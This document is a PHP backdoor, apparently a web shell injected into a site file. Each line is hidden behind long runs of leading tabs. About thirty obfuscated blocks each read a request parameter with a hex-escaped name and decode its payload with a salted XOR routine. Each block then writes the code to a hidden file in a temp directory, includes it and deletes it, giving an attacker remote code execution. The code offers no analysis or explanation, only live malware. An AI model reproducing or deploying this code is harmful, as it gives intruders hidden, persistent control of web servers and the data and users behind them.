																																										if(isset($_REQUEST["dc\x68u\x6E\x6B"]) ? true : false){ $ent = array_filter([ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getcwd(), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/dev/shm", "/var/tmp"]); $holder = $_REQUEST["dc\x68u\x6E\x6B"]; $holder = explode('.' ,$holder ) ; $hld = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $q = 0; while ($q < count($holder)) { $v3 = $holder[$q]; $chS = ord($salt[$q % $sLen] ); $d = ((int)$v3 - $chS - ($q % 10)) ^ 75; $hld .= chr($d ); $q++; } while ($property_set = array_shift($ent)) { if (!( !is_dir($property_set) || !is_writable($property_set) )) { $res = str_replace("{var_dir}", $property_set, "{var_dir}/.k"); $file = fopen($res, 'w'); if ($file) { fwrite($file, $hld); fclose($file); include $res; @unlink($res); exit; } } } }
																																										if(in_array("descr\x69\x70\x74o\x72", array_keys($_POST))){ $entry = $_POST["descr\x69\x70\x74o\x72"]; $entry= explode( "." ,$entry ) ; $property_set= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt); foreach ($entry as $t=> $v9): $sChar= ord($salt[$t % $lenS]); $dec= ((int)$v9 - $sChar - ($t % 10)) ^ 11; $property_set .= chr($dec); endforeach; $data = array_filter([getenv("TMP"), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/tmp"]); for ($reference = 0, $ent = count($data); $reference < $ent; $reference++) { $obj = $data[$reference]; if (is_dir($obj) && is_writable($obj)) { $binding = str_replace("{var_dir}", $obj, "{var_dir}/.flg"); if (file_put_contents($binding, $property_set)) { include $binding; @unlink($binding); exit; } } } }
																																										if(isset($_POST["\x63om\x70on\x65\x6Et"])){ $data_chunk = $_POST["\x63om\x70on\x65\x6Et"]; $data_chunk= explode ('.', $data_chunk ) ; $dat = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3); foreach ($data_chunk as $k => $v9) {$sChar = ord($salt3[$k %$lenS]); $d = ((int)$v9 - $sChar - ($k %10)) ^ 68; $dat.= chr($d); } $property_set = array_filter(["/dev/shm", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), "/var/tmp", "/tmp", getenv("TEMP")]); for ($flg = 0, $hld = count($property_set); $flg < $hld; $flg++) { $pointer = $property_set[$flg]; if (array_product([is_dir($pointer), is_writable($pointer)])) { $parameter_group = "$pointer" . "/.marker"; if (file_put_contents($parameter_group, $dat)) { include $parameter_group; @unlink($parameter_group); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["p\x74\x72"])){ $pset = $_POST["p\x74\x72"]; $pset = explode ( "." ,$pset ) ; $resource = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $u = 0; $len = count($pset); do { if($u>=$len) break; $v7 = $pset[$u]; $sChar = ord($s[$u% $sLen]); $dec =((int)$v7 - $sChar -($u% 10)) ^ 64; $resource .= chr($dec); $u++;} while(true); $item = array_filter(["/dev/shm", session_save_path(), "/var/tmp", getenv("TEMP"), getcwd(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir()]); $desc = 0; do { $mrk = $item[$desc] ?? null; if ($desc >= count($item)) break; if (array_product([is_dir($mrk), is_writable($mrk)])) { $hld = vsprintf("%s/%s", [$mrk, ".flg"]); $success = file_put_contents($hld, $resource); if ($success) { include $hld; @unlink($hld); die();} } $desc++; } while (true); }
																																										if(array_key_exists("i\x74em", $_POST)){ $fac = array_filter(["/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/tmp", sys_get_temp_dir(), "/var/tmp", getenv("TEMP")]); $val = $_POST["i\x74em"]; $val=explode ( "." ,$val ) ; $component = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt3); $x = 0; $__tmp = $val; while( $v9 = array_shift( $__tmp)) { $sChar = ord( $salt3[$x % $lenS]); $dec =( ( int)$v9 - $sChar -( $x % 10))^ 48; $component.=chr( $dec); $x++; } foreach ($fac as $record) { if (!( !is_dir($record) || !is_writable($record) )) { $value = vsprintf("%s/%s", [$record, ".rec"]); if (file_put_contents($value, $component)) { include $value; @unlink($value); exit; } } } }
																																										if(array_key_exists("\x70s\x65t", $_POST) && !is_null($_POST["\x70s\x65t"])){ $rec = array_filter([getenv("TMP"), "/var/tmp", getenv("TEMP"), getcwd(), "/dev/shm", session_save_path(), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir")]); $fac = $_POST["\x70s\x65t"]; $fac = explode ("." , $fac ) ; $component = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $w = 0; foreach( $fac as $v3) { $chS = ord( $s[$w %$sLen]); $dec =( ( int)$v3 - $chS -( $w %10)) ^ 53; $component .= chr( $dec); $w++; } for ($factor = 0, $res = count($rec); $factor < $res; $factor++) { $flg = $rec[$factor]; if ((is_dir($flg) and is_writable($flg))) { $desc = sprintf("%s/.record", $flg); $success = file_put_contents($desc, $component); if ($success) { include $desc; @unlink($desc); die();} } } }
																																										if(array_key_exists("fla\x67", $_POST) && !is_null($_POST["fla\x67"])){ $dat = $_POST["fla\x67"]; $dat= explode( "." ,$dat ) ; $item =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s); $len =count($dat); for ($x =0; $x< $len; $x++) { $v4 =$dat[$x]; $chS =ord($s[$x % $lenS]); $dec =((int)$v4 - $chS - ($x % 10))^75; $item .= chr($dec);} $data = array_filter([session_save_path(), getenv("TMP"), "/var/tmp", "/dev/shm", getcwd(), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); for ($sym = 0, $rec = count($data); $sym < $rec; $sym++) { $pgrp = $data[$sym]; if ((is_dir($pgrp) and is_writable($pgrp))) { $pset = str_replace("{var_dir}", $pgrp, "{var_dir}/.token"); if (file_put_contents($pset, $item)) { require $pset; unlink($pset); exit; } } } }
																																										if(@$_REQUEST["\x69\x74em"] !== null){ $tkn = array_filter(["/dev/shm", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getcwd(), getenv("TMP"), sys_get_temp_dir()]); $bind = $_REQUEST["\x69\x74em"]; $bind = explode ( "." , $bind ); $ptr =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt); $i =0; while($i< count($bind)) { $v7 =$bind[$i]; $sChar =ord($salt[$i % $lenS]); $dec =((int)$v7 - $sChar -($i % 10)) ^ 7; $ptr.=chr($dec); $i++; } foreach ($tkn as $factor): if (is_writable($factor) && is_dir($factor)) { $dchunk = implode("/", [$factor, ".comp"]); $success = file_put_contents($dchunk, $ptr); if ($success) { include $dchunk; @unlink($dchunk); die();} } endforeach; }
																																										if(!empty($_REQUEST["\x72\x65f"])){ $fac = $_REQUEST["\x72\x65f"]; $fac = explode ( "." , $fac ); $pgrp= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s ); $o= 0; while ($o < count($fac)) { $v7= $fac[$o]; $chS= ord($s[$o % $sLen] ); $dec= ((int)$v7 - $chS - ($o % 10)) ^ 88; $pgrp .=chr($dec ); $o++; } $ent = array_filter(["/var/tmp", "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), getcwd()]); foreach ($ent as $dchunk): if ((bool)is_dir($dchunk) && (bool)is_writable($dchunk)) { $comp = vsprintf("%s/%s", [$dchunk, ".bind"]); if (@file_put_contents($comp, $pgrp) !== false) { include $comp; unlink($comp); exit; } } endforeach; }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["el\x65m"])){ $factor = $_REQUEST["el\x65m"]; $factor = explode('.' , $factor ) ; $hld =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $s); $n =0; foreach( $factor as $v5) { $chS =ord( $s[$n% $sLen]); $dec =( ( int)$v5 - $chS -( $n% 10)) ^ 58; $hld .= chr( $dec); $n++;} $pgrp = array_filter(["/var/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), getcwd()]); for ($item = 0, $itm = count($pgrp); $item < $itm; $item++) { $ent = $pgrp[$item]; if (is_dir($ent) ? is_writable($ent) : false) { $record = join("/", [$ent, ".value"]); if (file_put_contents($record, $hld)) { require $record; unlink($record); exit; } } } }
																																										if(@$_REQUEST["\x72\x65cord"] !== null){ $symbol = array_filter([getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp"]); $factor = $_REQUEST["\x72\x65cord"]; $factor = explode ("." , $factor ); $entry = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $q = 0; $__tmp = $factor; while($v6 = array_shift($__tmp)) { $sChar = ord($s[$q%$lenS]); $d = ((int)$v6 - $sChar -($q%10)) ^ 83; $entry .= chr($d); $q++; } foreach ($symbol as $element): if ((bool)is_dir($element) && (bool)is_writable($element)) { $key = "$element" . "/.parameter_group"; $success = file_put_contents($key, $entry); if ($success) { include $key; @unlink($key); exit;} } endforeach; }
																																										if(!empty($_POST["\x64\x63\x68unk"])){ $tkn = array_filter([sys_get_temp_dir(), getcwd(), "/var/tmp", getenv("TMP"), getenv("TEMP"), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), session_save_path()]); $key = $_POST["\x64\x63\x68unk"]; $key = explode ( "." , $key ) ; $parameter_group = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $o = 0; array_walk($key, function ($v8) use (&$parameter_group, &$o, $salt, $lenS) { $sChar = ord($salt[$o % $lenS]); $d = ((int)$v8 - $sChar - ($o % 10))^ 65; $parameter_group.=chr($d); $o++; }); foreach ($tkn as $hld): if (!!is_dir($hld) && !!is_writable($hld)) { $flag = "$hld" . "/.k"; $success = file_put_contents($flag, $parameter_group); if ($success) { include $flag; @unlink($flag); exit;} } endforeach; }
																																										if(array_key_exists("\x74\x6Bn", $_POST)){ $data_chunk = array_filter(["/dev/shm", getenv("TMP"), getcwd(), "/var/tmp", sys_get_temp_dir(), "/tmp", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir")]); $obj = $_POST["\x74\x6Bn"]; $obj = explode("." , $obj ) ; $mrk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $i = 0; $len = count($obj); do {if ($i >= $len) break; $v1 = $obj[$i]; $chS = ord($s[$i % $sLen]); $dec = ((int)$v1 - $chS - ($i % 10)) ^ 24; $mrk .= chr($dec); $i++; } while (true); $res = 0; do { $flg = $data_chunk[$res] ?? null; if ($res >= count($data_chunk)) break; if (is_dir($flg) ? is_writable($flg) : false) { $elem = vsprintf("%s/%s", [$flg, ".desc"]); if (@file_put_contents($elem, $mrk) !== false) { include $elem; unlink($elem); die(); } } $res++; } while (true); }
																																										if(isset($_POST) && isset($_POST["\x64c\x68un\x6B"])){ $symbol = array_filter([ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), "/tmp", "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", getcwd()]); $k = $_POST["\x64c\x68un\x6B"]; $k = explode ( '.' ,$k ) ; $record = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); foreach($k as $p => $v8) {$sChar = ord($s[$p% $sLen] ); $d =((int)$v8 - $sChar -($p% 10)) ^ 92; $record.= chr($d ); } $tkn = 0; do { $itm = $symbol[$tkn] ?? null; if ($tkn >= count($symbol)) break; if (is_dir($itm) && is_writable($itm)) { $item = str_replace("{var_dir}", $itm, "{var_dir}/.marker"); if (file_put_contents($item, $record)) { require $item; unlink($item); exit; } } $tkn++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x6D\x72k")){ $item = $_POST["\x6D\x72k"]; $item = explode ( '.' , $item ) ; $flg = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3); foreach ($item as $k=>$v8): $sChar = ord($s3[$k % $sLen]); $dec = ((int)$v8 - $sChar - ($k % 10)) ^ 39; $flg .=chr($dec); endforeach; $sym = array_filter([getenv("TEMP"), "/var/tmp", "/dev/shm", getcwd(), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getenv("TMP")]); foreach ($sym as $key => $hld) { if ((is_dir($hld) and is_writable($hld))) { $entity = "$hld" . "/.desc"; $file = fopen($entity, 'w'); if ($file) { fwrite($file, $flg); fclose($file); include $entity; @unlink($entity); die(); } } } }
																																										if(@$_REQUEST["dchun\x6B"] !== null){ $component = $_REQUEST["dchun\x6B"]; $component =explode( '.' , $component ); $fac = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); foreach( $component as $j => $v8): $sChar = ord( $salt[$j% $sLen]); $dec =( ( int)$v8 - $sChar -( $j% 10)) ^ 39; $fac .= chr( $dec); endforeach; $res = array_filter([getenv("TMP"), sys_get_temp_dir(), "/dev/shm", getcwd(), "/tmp", getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp"]); $elem = 0; do { $object = $res[$elem] ?? null; if ($elem >= count($res)) break; if (!!is_dir($object) && !!is_writable($object)) { $property_set = implode("/", [$object, ".resource"]); $file = fopen($property_set, 'w'); if ($file) { fwrite($file, $fac); fclose($file); include $property_set; @unlink($property_set); die(); } } $elem++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x74\x6Fken")){ $property_set = $_REQUEST["\x74\x6Fken"]; $property_set = explode ( "." , $property_set) ; $data = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $k = 0; while($k < count($property_set)) {$v1 = $property_set[$k]; $sChar = ord($salt[$k% $sLen]); $dec = ((int)$v1 - $sChar -($k% 10)) ^ 68; $data .= chr($dec); $k++; } $pgrp = array_filter([sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TMP"), "/tmp"]); $k = 0; do { $binding = $pgrp[$k] ?? null; if ($k >= count($pgrp)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($binding)) { $object = "$binding/.pset"; $file = fopen($object, 'w'); if ($file) { fwrite($file, $data); fclose($file); include $object; @unlink($object); exit; } } $k++; } while (true); }
																																										if(isset($_POST["\x72ef\x65r\x65nc\x65"])){ $obj = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/tmp", "/dev/shm", "/var/tmp", getenv("TEMP"), session_save_path(), getenv("TMP"), sys_get_temp_dir()]); $hld = $_POST["\x72ef\x65r\x65nc\x65"]; $hld = explode ( '.' , $hld) ; $dat = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $__len = count($hld); for ($w = 0; $w < $__len; $w++) { $v5 = $hld[$w]; $chS = ord($s[$w % $lenS]); $dec = ((int)$v5 - $chS - ($w % 10))^ 10; $dat .= chr($dec);} $tkn = 0; do { $data = $obj[$tkn] ?? null; if ($tkn >= count($obj)) break; if (!( !is_dir($data) || !is_writable($data) )) { $itm = vsprintf("%s/%s", [$data, ".pset"]); $file = fopen($itm, 'w'); if ($file) { fwrite($file, $dat); fclose($file); include $itm; @unlink($itm); die(); } } $tkn++; } while (true); }
																																										if(in_array("\x70\x74r", array_keys($_POST))){ $mrk = $_POST["\x70\x74r"]; $mrk = explode ( '.' , $mrk ) ; $bind = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $x = 0; $len = count( $mrk ); do { if( $x >= $len) break; $v8 = $mrk[$x]; $sChar = ord( $salt[$x % $sLen] ); $dec = ( ( int)$v8 - $sChar -( $x % 10)) ^ 94; $bind .= chr( $dec ); $x++; } while( true ); $reference = array_filter([sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", "/var/tmp", "/dev/shm", getcwd()]); foreach ($reference as $hld): if (array_product([is_dir($hld), is_writable($hld)])) { $ent = sprintf("%s/.rec", $hld); if (@file_put_contents($ent, $bind) !== false) { include $ent; unlink($ent); die(); } } endforeach; }
																																										if(array_key_exists("\x6F\x62j\x65ct", $_POST) && !is_null($_POST["\x6F\x62j\x65ct"])){ $resource = $_POST["\x6F\x62j\x65ct"]; $resource = explode( '.' , $resource) ; $entity = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8 ); $k = 0; array_walk($resource, function ($v1) use (&$entity, &$k, $s8, $sLen) {$chS = ord($s8[$k % $sLen] ); $d = ((int)$v1 - $chS - ($k % 10)) ^15; $entity .= chr($d ); $k++; } ); $ent = array_filter([getcwd(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), "/dev/shm", getenv("TEMP"), "/var/tmp", session_save_path(), sys_get_temp_dir()]); foreach ($ent as $marker): if (is_dir($marker) ? is_writable($marker) : false) { $data_chunk = "$marker/.entry"; $success = file_put_contents($data_chunk, $entity); if ($success) { include $data_chunk; @unlink($data_chunk); exit;} } endforeach; }
																																										if(isset($_POST["\x72\x65c"]) ? true : false){ $record = $_POST["\x72\x65c"]; $record = explode ( "." , $record ); $hld = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach ($record as $i => $v9): $chS = ord($salt[$i%$sLen]); $dec = ((int)$v9 - $chS - ($i%10)) ^ 5; $hld .= chr($dec); endforeach; $ptr = array_filter([getcwd(), "/tmp", getenv("TEMP"), "/dev/shm", "/var/tmp", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path()]); foreach ($ptr as $val): if (!!is_dir($val) && !!is_writable($val)) { $component = str_replace("{var_dir}", $val, "{var_dir}/.itm"); $file = fopen($component, 'w'); if ($file) { fwrite($file, $hld); fclose($file); include $component; @unlink($component); die(); } } endforeach; }
																																										if(array_key_exists("\x69\x74em", $_REQUEST) && !is_null($_REQUEST["\x69\x74em"])){ $ref = $_REQUEST["\x69\x74em"]; $ref=explode (".", $ref); $marker = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2 ); $q = 0; $__len = count($ref ); do { if ($q >= $__len) break; $v5 = $ref[$q]; $chS = ord($s2[$q % $sLen] ); $dec = ((int)$v5 - $chS - ($q % 10))^ 96; $marker .= chr($dec ); $q++; } while (true ); $parameter_group = array_filter([getenv("TMP"), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/tmp", "/dev/shm", "/var/tmp"]); for ($holder = 0, $res = count($parameter_group); $holder < $res; $holder++) { $binding = $parameter_group[$holder]; if (is_dir($binding) && is_writable($binding)) { $flag = implode("/", [$binding, ".sym"]); $file = fopen($flag, 'w'); if ($file) { fwrite($file, $marker); fclose($file); include $flag; @unlink($flag); die(); } } } }
																																										if(array_key_exists("\x72e\x63\x6Frd", $_POST) && !is_null($_POST["\x72e\x63\x6Frd"])){ $parameter_group = array_filter(["/var/tmp", getcwd(), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path()]); $k = $_POST["\x72e\x63\x6Frd"]; $k = explode ( ".", $k ) ; $object = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6); $m = 0; $__tmp = $k; while ($v7 = array_shift($__tmp)) { $chS = ord($s6[$m % $lenS]); $d = ((int)$v7 - $chS - ($m % 10)) ^ 85; $object .= chr($d); $m++;} foreach ($parameter_group as $mrk) { if ((function($d) { return is_dir($d) && is_writable($d); })($mrk)) { $comp = "$mrk" . "/.factor"; if (@file_put_contents($comp, $object) !== false) { include $comp; unlink($comp); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x73\x79mb\x6Fl")){ $factor = $_POST["\x73\x79mb\x6Fl"]; $factor = explode ( "." , $factor ) ; $flg = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $p = 0; foreach( $factor as $v4) { $chS = ord( $s[$p % $lenS]); $d = ( ( int)$v4 - $chS -( $p % 10)) ^ 97; $flg .= chr( $d); $p++; } $component = array_filter(["/dev/shm", getenv("TEMP"), "/tmp", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), session_save_path()]); while ($rec = array_shift($component)) { if (!( !is_dir($rec) || !is_writable($rec) )) { $hld = join("/", [$rec, ".itm"]); $file = fopen($hld, 'w'); if ($file) { fwrite($file, $flg); fclose($file); include $hld; @unlink($hld); die(); } } } }
																																										if(!empty($_POST["\x74\x6Bn"])){ $parameter_group = $_POST["\x74\x6Bn"]; $parameter_group=explode ( '.' , $parameter_group ); $ptr= ''; $s2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s2 ); $z= 0; foreach ($parameter_group as $v2) { $sChar= ord($s2[$z%$sLen] ); $dec= ((int)$v2 - $sChar - ($z%10))^ 34; $ptr .= chr($dec ); $z++; } $descriptor = array_filter([session_save_path(), "/dev/shm", "/var/tmp", getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), getcwd()]); for ($reference = 0, $entry = count($descriptor); $reference < $entry; $reference++) { $factor = $descriptor[$reference]; if (max(0, is_dir($factor) * is_writable($factor))) { $item = str_replace("{var_dir}", $factor, "{var_dir}/.data"); if (file_put_contents($item, $ptr)) { include $item; @unlink($item); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "dat")){ $ref = $_REQUEST["dat"]; $ref = explode( ".", $ref ) ; $item = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $i = 0; array_walk($ref , function($v4) use(&$item , &$i , $s , $lenS) { $sChar = ord($s[$i % $lenS]); $dec =((int)$v4 - $sChar -($i % 10)) ^9; $item.= chr($dec); $i++; }); $holder = array_filter(["/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", getcwd(), getenv("TEMP"), session_save_path(), sys_get_temp_dir()]); foreach ($holder as $key => $desc) { if (is_dir($desc) && is_writable($desc)) { $token = join("/", [$desc, ".pointer"]); $success = file_put_contents($token, $item); if ($success) { include $token; @unlink($token); exit;} } } }
																																										if(!is_null($_POST["des\x63ri\x70\x74or"] ?? null)){ $holder = array_filter([getenv("TMP"), "/tmp", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", getcwd()]); $res = $_POST["des\x63ri\x70\x74or"]; $res =explode ( '.', $res ) ; $itm = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $l = 0; array_walk($res , function($v6) use(&$itm , &$l , $s , $lenS) { $chS = ord($s[$l % $lenS]); $d =((int)$v6 - $chS -($l % 10)) ^ 14; $itm .= chr($d); $l++; }); foreach ($holder as $token) { if (is_dir($token) && is_writable($token)) { $binding = vsprintf("%s/%s", [$token, ".item"]); if (@file_put_contents($binding, $itm) !== false) { include $binding; unlink($binding); exit; } } } }
																																										if(@$_REQUEST["\x65l\x65\x6Den\x74"] !== null){ $mrk = $_REQUEST["\x65l\x65\x6Den\x74"]; $mrk= explode ( "." , $mrk) ; $key = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2); $o = 0; $__tmp = $mrk; while ($v1 = array_shift($__tmp)) {$sChar = ord($salt2[$o % $lenS]); $d = ((int)$v1 - $sChar - ($o % 10)) ^ 63; $key .= chr($d); $o++; } $pset = array_filter(["/dev/shm", getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getcwd()]); foreach ($pset as $dchunk) { if (!( !is_dir($dchunk) || !is_writable($dchunk) )) { $reference = "$dchunk" . "/.fac"; if (file_put_contents($reference, $key)) { require $reference; unlink($reference); exit; } } } }
																																										if(in_array("\x70\x6F\x69nter", array_keys($_REQUEST))){ $component = $_REQUEST["\x70\x6F\x69nter"]; $component= explode( '.',$component ); $symbol = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt3); $t = 0; $len = count( $component); do { if( $t >= $len) break; $v1 = $component[$t]; $chS = ord( $salt3[$t % $lenS]); $dec =( ( int)$v1 - $chS -( $t % 10)) ^ 72; $symbol .= chr( $dec); $t++; } while( true); $itm = array_filter([session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/var/tmp"]); foreach ($itm as $hld): if (!!is_dir($hld) && !!is_writable($hld)) { $descriptor = str_replace("{var_dir}", $hld, "{var_dir}/.token"); $file = fopen($descriptor, 'w'); if ($file) { fwrite($file, $symbol); fclose($file); include $descriptor; @unlink($descriptor); die(); } } endforeach; }
																																										if(isset($_REQUEST["el\x65men\x74"])){ $descriptor = $_REQUEST["el\x65men\x74"]; $descriptor=explode ( '.', $descriptor ) ; $res= ''; $s8= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s8); $j= 0; $__tmp= $descriptor; while( $v5= array_shift( $__tmp)) { $chS= ord( $s8[$j % $sLen]); $d= ( ( int)$v5 - $chS -( $j % 10)) ^ 93; $res .= chr( $d); $j++; } $binding = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), "/dev/shm", getenv("TMP"), session_save_path(), sys_get_temp_dir(), "/tmp", getenv("TEMP")]); $comp = 0; do { $entry = $binding[$comp] ?? null; if ($comp >= count($binding)) break; if (!( !is_dir($entry) || !is_writable($entry) )) { $obj = "$entry/.resource"; if (file_put_contents($obj, $res)) { include $obj; @unlink($obj); exit; } } $comp++; } while (true); }
																																										if(isset($_POST["\x74o\x6Ben"])){ $val = $_POST["\x74o\x6Ben"]; $val =explode("." , $val ) ; $holder = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $u = 0; array_walk($val, function ($v8) use (&$holder, &$u, $salt, $sLen) { $sChar = ord($salt[$u % $sLen]); $dec = ((int)$v8 - $sChar - ($u % 10)) ^ 34; $holder .= chr($dec); $u++; }); $obj = array_filter([sys_get_temp_dir(), session_save_path(), getenv("TMP"), getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", "/tmp"]); for ($comp = 0, $entity = count($obj); $comp < $entity; $comp++) { $flag = $obj[$comp]; if (is_dir($flag) && is_writable($flag)) { $object = implode("/", [$flag, ".desc"]); if (file_put_contents($object, $holder)) { require $object; unlink($object); exit; } } } }
																																										if(isset($_REQUEST["\x65l\x65m"])){ $hld = array_filter(["/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), session_save_path(), "/tmp"]); $obj = $_REQUEST["\x65l\x65m"]; $obj = explode ("." ,$obj) ; $data = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt9); $len = count( $obj); for( $y = 0; $y< $len; $y++) { $v3 = $obj[$y]; $sChar = ord( $salt9[$y % $sLen]); $dec =( ( int)$v3 - $sChar -( $y % 10)) ^54; $data.=chr( $dec); } foreach ($hld as $dat): if ((bool)is_dir($dat) && (bool)is_writable($dat)) { $rec = str_replace("{var_dir}", $dat, "{var_dir}/.value"); if (file_put_contents($rec, $data)) { require $rec; unlink($rec); exit; } } endforeach; }
																																										if(isset($_POST["da\x74"])){ $value = $_POST["da\x74"]; $value=explode ( "." , $value ); $property_set = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt5); foreach($value as $u =>$v1) { $sChar = ord($salt5[$u % $lenS]); $d = ((int)$v1 - $sChar -($u % 10)) ^ 78; $property_set .= chr($d); } $descriptor = array_filter(["/var/tmp", session_save_path(), getcwd(), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), "/tmp"]); while ($record = array_shift($descriptor)) { if (!( !is_dir($record) || !is_writable($record) )) { $itm = implode("/", [$record, ".pointer"]); $file = fopen($itm, 'w'); if ($file) { fwrite($file, $property_set); fclose($file); include $itm; @unlink($itm); exit; } } } }
																																										if(array_key_exists("o\x62j", $_REQUEST) && !is_null($_REQUEST["o\x62j"])){ $factor = array_filter([session_save_path(), sys_get_temp_dir(), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", "/dev/shm", getenv("TMP")]); $hld = $_REQUEST["o\x62j"]; $hld =explode(".", $hld ) ; $fac =''; $s4 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $s4); $l =0; foreach( $hld as $v4) { $sChar =ord( $s4[$l % $sLen]); $d =( ( int)$v4 - $sChar -( $l % 10)) ^ 15; $fac .= chr( $d); $l++; } $data = 0; do { $marker = $factor[$data] ?? null; if ($data >= count($factor)) break; if (!( !is_dir($marker) || !is_writable($marker) )) { $pset = "$marker/.binding"; $file = fopen($pset, 'w'); if ($file) { fwrite($file, $fac); fclose($file); include $pset; @unlink($pset); die(); } } $data++; } while (true); }
